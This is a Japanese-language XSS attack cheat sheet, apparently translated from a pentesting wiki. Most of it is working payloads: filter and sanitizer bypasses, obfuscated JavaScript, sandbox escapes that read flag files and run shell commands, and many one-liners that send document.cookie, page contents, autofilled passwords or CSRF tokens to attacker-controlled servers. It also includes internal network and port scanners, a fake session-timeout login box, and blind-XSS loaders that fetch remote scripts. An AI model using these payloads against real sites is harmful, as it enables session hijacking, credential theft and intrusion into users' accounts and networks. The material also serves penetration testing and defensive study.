反映された値がサーバー(またはクライアント側)でUnicode正規化されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。ここに例があります

PHP FILTER_VALIDATE_EMAILフラグバイパス

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoRマスアサインメントのため、HTMLに引用符が挿入され、その後引用制限がバイパスされ、追加のフィールド(onfocus)がタグ内に追加されることがあります。 フォームの例(このレポートから)、ペイロードを送信すると:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

"Key","Value"のペアは次のようにエコーされます:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

その後、onfocus属性が挿入され、XSSが発生します。

特殊な組み合わせ

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

もしあなたが302リダイレクトレスポンスにヘッダーを注入できることがわかったら、ブラウザに任意のJavaScriptを実行させることを試みることができます。これは簡単ではありません。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。

このレポートこちらでは、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。 過去に知られているプロトコル: mailto://, //x:1/, ws://, wss://, 空のLocationヘッダー, resource://.

Only Letters, Numbers and Dots

もしあなたがコールバックを示すことができるなら、javascriptが実行するのはこれらの文字に制限されます。この投稿のこのセクションを読んでこの動作を悪用する方法を見つけてください。

Valid <script> Content-Types to XSS

こちらから)もしあなたがapplication/octet-streamのようなコンテンツタイプでスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chromeが読み込まれたスクリプトを実行するのをサポートする唯一のContent-Typeは、https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.ccのconst **kSupportedJavascriptTypes**内のものです。

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script Types to XSS

(From here) では、どのタイプがスクリプトを読み込むことを示す可能性がありますか?

<script type="???"></script>

The answer is:

  • module (デフォルト、説明することはありません)

  • webbundle: Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**.wbn**ファイルにパッケージ化できる機能です。

<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: インポート構文を改善することを可能にします

<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

この動作は、このレポートでライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。

  • speculationrules: この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:

<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Web Content-Types to XSS

(From here) 次のコンテンツタイプは、すべてのブラウザでXSSを実行できます:

  • text/html

  • application/xhtml+xml

  • application/xml

  • text/xml

  • image/svg+xml

  • text/plain (?? リストにはありませんが、CTFで見たことがあると思います)

  • application/rss+xml (オフ)

  • application/atom+xml (オフ)

他のブラウザでは、他の Content-Types を使用して任意のJSを実行できます。確認してください: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

ページがtext/xmlコンテンツタイプを返す場合、名前空間を指定して任意のJSを実行することが可能です:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

特殊な置換パターン

"some {{template}} data".replace("{{template}}", <user_input>) のようなものが使用されるとき、攻撃者は特殊な文字列置換を使用して、いくつかの保護を回避しようとすることがあります: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

例えば、この書き込みでは、スクリプト内のJSON文字列をエスケープし、任意のコードを実行するために使用されました。

ChromeキャッシュからXSSへ

Chrome Cache to XSS

XS Jailのエスケープ

使用できる文字のセットが限られている場合、XSJailの問題に対する他の有効な解決策を確認してください:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

もしすべてが未定義であれば、信頼できないコードを実行する前に([この書き込み](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:

  • import()を使用して

// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • requireへの間接アクセス

これによると モジュールはNode.jsによって関数内にラップされます。

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

したがって、そのモジュールから別の関数を呼び出すことができれば、その関数からarguments.callee.caller.arguments[1]を使用して**require**にアクセスすることが可能です:

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

前の例と同様に、エラーハンドラーを使用してモジュールのラッパーにアクセスし、**require**関数を取得することが可能です:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

オブfuscation & 高度なバイパス

//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSSの一般的なペイロード

1つのペイロードに複数

Steal Info JS

Iframeトラップ

ユーザーがiframeを退出せずにページ内を移動させ、その行動を盗む(フォームに送信された情報を含む):

Iframe Traps

クッキーの取得

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません。しかし、運が良ければ、ここにこの保護を回避するいくつかの方法があります

ページコンテンツを盗む

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

内部IPを見つける

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

ポートスキャナー (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

ポートスキャナー (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Short times indicate a responding port Longer times indicate no response.

Chromeで禁止されているポートのリストをこちらで、Firefoxで禁止されているポートのリストをこちらで確認してください。

認証情報を要求するボックス

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

自動入力パスワードキャプチャ

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

パスワードフィールドにデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択し、何も入力しなくても、認証情報は外部に流出します。

キーロガー

GitHubで検索したところ、いくつかの異なるものが見つかりました:

CSRFトークンの盗難

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessageメッセージの盗難

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

サービスワーカーの悪用

Abusing Service Workers

シャドウDOMへのアクセス

Shadow DOM

ポリグロット

ブラインドXSSペイロード

次のリンクも使用できます: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - 隠れたコンテンツへのアクセス

このレポートから、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

ブルートフォースリスト

他の脆弱性を悪用したXSS

MarkdownにおけるXSS

レンダリングされるMarkdownコードを注入できますか?もしかしたらXSSを取得できるかもしれません!確認してください:

XSS in Markdown

SSRFへのXSS

